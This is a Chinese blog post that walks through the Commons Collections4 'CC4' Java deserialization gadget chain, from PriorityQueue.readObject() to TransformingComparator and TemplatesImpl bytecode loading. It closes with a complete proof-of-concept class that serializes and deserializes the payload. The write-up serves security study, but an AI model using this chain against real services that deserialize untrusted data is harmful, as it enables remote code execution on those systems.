CommonsCollections4利用链分析

CommonsCollections4利用链分析

原理

CC4这条链用到了新的Commons-Collections4这个依赖,由于这个依赖与之前的版本具有较大的出入,连groupId和artifactId都变了,前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后者是官⽅在2013年推出的4版本,当时版本号是4.0。因此算是更新换代了。

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

但是在某种程度上还是换汤不换药,链的最后还是用了Transform类对象的transform()方法直接去执行代码,或者是CC3的利用TemplatesImpl类去实现类加载执行任意代码。

代码分析

由于我们还是在CC库里面去触发反序列化,所以还是找哪里调用了transform()方法,这里找到了TransformingComparator类的compare()方法:

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

可以看到这里调用了传入的transformer对象的transform()方法,然后往回找哪里调用compare()方法,而且最好是直接就是重写了readObject()方法,能够直接走到compare()方法。这里就比较难找,需要对Java比较熟悉才行,最终找到的是java.util.PriorityQueue 优先队列这个类:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

可以看到,PriorityQueue 类的readObject()方法最后调用了heapify()方法,跟进:

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
    siftDown(i, (E) queue[i]);
}

这里接着调用siftDown()方法,跟进:

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

接着调用了siftDownUsingComparator()方法,跟进:

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

到了这里可以看到调用了comparator对象的compare()方法,并且这里的comparator可以在PriorityQueue 类对象初始化的时候传进去的,因此我们可控,而TransformingComparator类恰恰是实现了Comparator和Serializable接口(而在旧的Commons-Collections包中TransformingComparator类没有实现Serializable接口,导致无法使用这条链),能够作为我们利用的对象。

至此,梳理一下利用链:

PriorityQueue.readObject() --> PriorityQueue.heapify() --> PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() --> Transformer.transform()

后面的部分就是CC1或CC3的写法了,这里以CC3为例,先把TemplatesImpl类对象构造好:

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

以及用 InstantiateTransformer类将TrAXFilter初始化,实现调用TemplatesImpl.newTransformer()方法,触发后续的调用:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templates })
};

Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(fakeTransformers);

然后就是正式构造CC4链了:

  • 创建⼀个 TransformingComparator ,传⼊我们的Transformer:
Comparator comparator = new TransformingComparator(transformerChain);
  • 实例化 PriorityQueue 对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较,所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator:
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。

最后,将真正的恶意Transformer设置上:

setFieldValue(transformerChain, "iTransformers", transformers);

完整的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4 {
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }


    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templates })
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer<>(fakeTransformers);

        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(chainedTransformer, "iTransformers", transformers);

        serialize(priorityQueue);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

总结

CC4这条链换了个新的Commons-Collection4包,所以有多了一种调用的方法,实质上也是万变不离其宗。

image-20220501210311202

参考资料

Java反序列化CommonsCollections篇(四)-摆烂的完结篇

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇